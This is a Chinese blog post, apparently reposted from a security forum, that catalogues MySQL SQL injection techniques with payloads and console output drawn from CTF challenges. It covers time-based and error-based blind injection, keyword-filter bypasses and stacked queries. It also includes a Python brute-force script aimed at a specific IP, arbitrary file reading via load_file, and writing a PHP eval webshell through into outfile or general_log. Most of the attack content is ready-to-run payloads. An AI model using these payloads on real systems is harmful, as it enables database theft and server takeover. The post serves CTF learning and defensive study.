SQL注入有趣姿势总结

isnull   ·   发表于 2019-06-30 11:23:42   ·   漏洞文章

五种时间盲注姿势

  • sleep()函数
  • benchmark函数
  • BENCHMARK(count,expr)

    benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟,如下:

    可以看到通过重复计算延时了1.90s

  • 笛卡尔积盲注
  • 注入姿势

    mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
    +-----------+
    | count(*)  |
    +-----------+
    | 113101560 |
    +-----------+
    1 row in set (2.07 sec)
    
    mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
    +------+-----+
    | user | pwd |
    +------+-----+
    | 1    | 0   |
    +------+-----+
    1 row in set (2.08 sec)
    
    mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
    Empty set (0.01 sec)

    利用and短路运算规则进行时间盲注。

  • GET_LOCK盲注
  • get_lock函数官方文档中的介绍


    可以看出文档中写的是我们如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。

    此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入

    SESSION A

    mysql> select get_lock('lihuaiqiu',1);
    +-------------------------+
    | get_lock('lihuaiqiu',1) |
    +-------------------------+
    |                       1 |
    +-------------------------+
    1 row in set (0.00 sec)

    SESSION B

    mysql> select get_lock('lihuaiqiu',5);
    +-------------------------+
    | get_lock('lihuaiqiu',5) |
    +-------------------------+
    |                       0 |
    +-------------------------+
    1 row in set (5.00 sec)
    
    mysql> select * from ctf_test where user='0' and 1=1 and  get_lock('lihuaiqiu',2);
    Empty set (2.00 sec)
    
    mysql> select * from ctf_test where user='0' and 1=0 and  get_lock('lihuaiqiu',2);
    Empty set (0.00 sec)

    同样的盲注利用手法。

  • 正则DOS RLIKE注入
  • 延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

    利用手法

    mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
    +------+
    | flag |
    +------+
    | 1    |
    +------+
    1 row in set (0.00 sec)
    
    mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
    Empty set (3.83 sec)


    报错注入

    正常的报错注入网上一搜是一大把的,所以下面讲的是几个比较的姿势。

  • mysql列名重复报错
  • 在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列.

    Name_const函数用法

    mysql> select name_const(version(),1);
    +--------+
    | 5.5.47 |
    +--------+
    |      1 |
    +--------+
    1 row in set (0.00 sec)

    报错用法:

    mysql> select name_const(version(),1),name_const(version(),1);;
    +--------+--------+
    | 5.5.47 | 5.5.47 |
    +--------+--------+
    |      1 |      1 |
    +--------+--------+
    1 row in set (0.00 sec)
    
    ERROR:
    No query specified
    
    mysql> select * from (select name_const(version(),1),name_const(version(),1))x;
    ERROR 1060 (42S21): Duplicate column name '5.5.47'


    不过这个有很大的限制,version()所多应的值必须是常量,而我们所需要的database()user()都是变量,无法通过报错得出,但是我们可以利用这个原理配合join函数得到列名。

    用法如下:

    mysql> select * from ctf_test a join ctf_test b;
    +------+--------------+------+--------------+
    | user | pwd          | user | pwd          |
    +------+--------------+------+--------------+
    | 1    | 0            | 1    | 0            |
    | 2    | flag{OK_t72} | 1    | 0            |
    | 1    | 0            | 2    | flag{OK_t72} |
    | 2    | flag{OK_t72} | 2    | flag{OK_t72} |
    +------+--------------+------+--------------+
    4 rows in set (0.00 sec)
    
    mysql> select * from (select * from ctf_test a join ctf_test b )x;
    ERROR 1060 (42S21): Duplicate column name 'user'
    mysql> select * from (select * from ctf_test a join ctf_test b using(user))x;
    ERROR 1060 (42S21): Duplicate column name 'pwd'
    mysql> select * from (select * from ctf_test a join ctf_test b using(user,pwd))x;
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 1    | 0            |
    | 2    | flag{OK_t72} |
    +------+--------------+
    2 rows in set (0.00 sec)


  • xpath语法报错与整数溢出报错的区别
  • xpath报错注入中,我们经常用的语法有updatexmlextractvalue函数,同样是报错注入,那么在使用中有什么区别?

    例子:第12届全国大学生信息安全竞赛全宇宙最简单的SQL

    如果二者的区别认知不太清楚,很可能导致卡在这个点上

    mysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~test~'
    mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~test~'
    mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999);
    ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
    mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999);
    Empty set (0.00 sec)


    从上面的实验中可以得出如果在sql语句中有出现语法错误,则会直接报错,不会被and短路运算所影响,如果是大数溢出报错,则会遵循and短路运算规则。所以可以利用大数溢出这个问题结合前面的1=0的判断条件进行布尔盲注。

  • 整数溢出报错函数
  • pow(),cot(),exp()

    mysql> select * from ctf_test where user='2' and 1=1 and cot(0);
    ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
    mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999);
    ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)'
    mysql> select * from ctf_test where user='2' and 1=1 and exp(710);
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'


  • 利用几何函数进行报错注入
  • 几何函数进行报错注入,如polygon(),linestring()函数等,姿势如下:

    mysql> select * from ctf_test where user='1' and polygon(user);
    ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing
    mysql> select * from ctf_test where user='1' and linestring(user);
    ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing


  • 对于insert,delete,update三种操作的注入
  • 对于select类型操作其实是最常见,最容易上手的,但insert,delete,update三种操作的注入也很重要,下面是总结的这三种注入的操作姿势。

    报错注入

    insert报错注入

    insert into ctf_test(`user`,`pwd`) value('1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','2');

    update报错注入

    update ctf_test set user=1 where pwd='2'  and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '';


    delete报错注入

    mysql> delete from ctf_test where user='1'  and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '';
    ERROR 1105 (HY000): XPATH syntax error: '~test~'


    时间盲注

    insert类型

    mysql> insert into ctf_test(`user`,`pwd`) value('1' and sleep(3) and '','2');
    Query OK, 1 row affected (3.00 sec)


    delete和update也都是一样的,就不一 一列举了。

    另类注入姿势以及对关键词过滤的绕过

  • order by 盲注
  • 题目例子:ISCC web5


    当填入16进制的字符字典序小于flag中对应字母的字典序时,返回的是union插入的字符;当16进制的字符字典序大于flag中的对应字母的字典序时,返回的是flag字段。此种sql注入手法可以在小括号和列名被过滤时使用。

    web5对应脚本:

    import requests
    url='http://39.100.83.188:8054/'
    headers={"User-Agent":"lihuaiqiu Union.373"}
    payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1"
    flag=''
    for i in range(20):
        for j in range(33,127):
            data={"username":payload.format((flag+chr(j)).encode('hex')),"password":'233'}
            lihuaiqiu=requests.post(url,headers=headers,data=data)
            if "union_373_Tom" in lihuaiqiu.text:
                flag+=chr(j-1)
                print flag
                break


  • MySQL数据库的Innodb引擎的注入
  • 在对应代码中过滤了information关键字,无法使用information_schema.tables以及information_schema.columns进行查找表和列名。

    此时可以通过innodb引擎进行注入,在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_statsinnodb_index_stats

    所以可以通过查找这两个表取代information的作用

    mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
    +------+
    | flag |
    +------+
    | 1    |
    | flag |
    +------+
    2 rows in set, 1 warning (0.00 sec)
    
    mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();
    +----------------+
    | flag           |
    +----------------+
    | 1              |
    | flag,flag,flag |
    +----------------+
    2 rows in set, 1 warning (0.00 sec)


  • 无列名注入
  • 看一下下面的payload的就会懂的,原理比较简单


  • 异或注入
  • and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。

    mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;
    Empty set (0.00 sec)
    
    mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1;
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)


  • 同等功能替换
  • 空格绕过:%0a,/**/.

    关键函数过滤:

    substr等价于left ,mid,substring

    group_concat等价于concat_ws

  • 逗号被过滤
  • 针对逗号被过滤的情况有三种,第一种情况是union select 中的逗号被过滤掉,第二种情况是substr,mid这类截取字符函数中的逗号被过滤掉,第三种是limit 0,1中的逗号被过滤。

    union select 逗号被过滤掉

    利用join注入,payload如下

    mysql> select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b;
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    | 1    | 2            |
    +------+--------------+
    2 rows in set (0.00 sec)


    功能函数逗号被过滤

    利用from...for...进行绕过

    mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    
    mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='s',1,0);
    Empty set (0.00 sec)

    limit中逗号被过滤

    利用limit..offset进行绕过

    limit 9 offset 4表示从第十行开始返回4行,返回的是10,11,12,13

    mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
    +------------+
    | table_name |
    +------------+
    | admin      |
    +------------+
    1 row in set (0.00 sec)
    
    mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1;
    +------------+
    | table_name |
    +------------+
    | ctf_test   |
    +------------+
    1 row in set (0.00 sec)
  • 等于号被过滤
  • 可以用like,regexp,between...and..,rlike进行代替,用法如下:

    还有另外一种特殊的代替方法,利用locate,position,instr三种函数进行判断

    用法如下:

    mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    
    mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)
    
    mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0);
    +------+--------------+
    | user | pwd          |
    +------+--------------+
    | 2    | flag{OK_t72} |
    +------+--------------+
    1 row in set (0.00 sec)


  • 堆叠注入
  • 例子:强网杯2019随便注

    payload如下形式

    查询字段

    ';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;

    查询内容

    ;use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;


  • load_file&into outfile
  • 这两个函数在sql注入中是影响比较大的两个函数,如果能成功利用,即可getshell和读取任意文件,但作用很大,同样限制条件也很多。

    into outfile

    1.首先要知道网站的绝对路径(可从报错或者phpinfo()中获得)

    2.拥有file权限

    3.secure_file_priv限制。通过SHOW VARIABLES LIKE "secure_file_priv"查看信息

    mysqld --secure_file_priv=null(不允许导入导出)
    
    mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下)
    
    mysql  --secure_file_priv=(任意导入导出)


    into outfile有四种写入文件的方式

    通过union注入写入文件

    mysql> select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php';
    Query OK, 2 rows affected, 1 warning (0.01 sec)


    通过FIELDS TERMINATED BY写入文件

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;
    Query OK, 1 row affected, 1 warning (0.01 sec)

    FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。


    可以看到在一个字段的情况下无法添加我们的webshell。

    通过LINES TERMINATED BY写入文件

    LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
    Query OK, 1 row affected, 1 warning (0.00 sec)

    LINES STARTING BY写入shell

    用法与LINES TERMINATED BY一样,payload如下

    mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;
    Query OK, 1 row affected, 1 warning (0.01 sec)

    load_file

    1.要求拥有file权限

    2.知道文件所在绝对路径

    3.同样受secure_file_priv限制

    union注入进行load_file

    效果如下:

    mysql> select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php');
    +----------------------+
    | flag                 |
    +----------------------+
    | 1                    |
    | <?php phpinfo();?>1
     |
    +----------------------+
    2 rows in set, 1 warning (0.01 sec)


    利用报错注入进行load_file

    测试:

    mysql> select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~<?php phpinfo();?>1
    ~'


    成功得到文件内容

    利用时间盲注进行load_file

    测试如下:

    mysql> select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1);
    Empty set, 1 warning (3.00 sec)

    成功延时3s,可配合脚本得到文件内容。

    利用load_file扫描文件是否存在

    mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0);
    ERROR 1105 (HY000): XPATH syntax error: '~0~'
    mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0);
    ERROR 1105 (HY000): XPATH syntax error: '~1~'


    通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。

    另类写读文件

    dumpfile 官方文档如下:



    危险变量导致getshell

    在我们可连接上被攻击数据库时,我们可以通过select..into outfile..进行写shell,但如果secure_file_priv为NULL且不可更改时,我们就无法通过这种形式去getshell。除了这种写shell的方式还有一种通过日志去写shell的方式,操作如下:

    show variables like '%general%'; 查看配置信息
    
    set global general_log=on 开启general log模式
    
    set global general_log_file='F:\\phpstudy\\www\\shell.php';
    
    select '<?php eval($_POST['pwd']);?>';


    最终shell.php为我们的webshell

    组合拳思考

    我们在常规的注入中,流程应该就是查找数据库,查找表,查找字段,爆字段。

    其实利用上面的方法,我们可以做操作来绕过条件过滤。

    Sqli-lab less-1为例

    首先通过polygon函数进行报错


    接着通过列重复来报错

    通过以上步骤可爆出id,username,password三个字段,最终爆出字段内容。

    同理,order by盲注也比较有用,在列名以及小括号被过滤的情况下就比较适合。


    转自先知社区

    打赏我,让我更有动力~

    0 条回复   |  直到 2019-6-30 | 1312 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.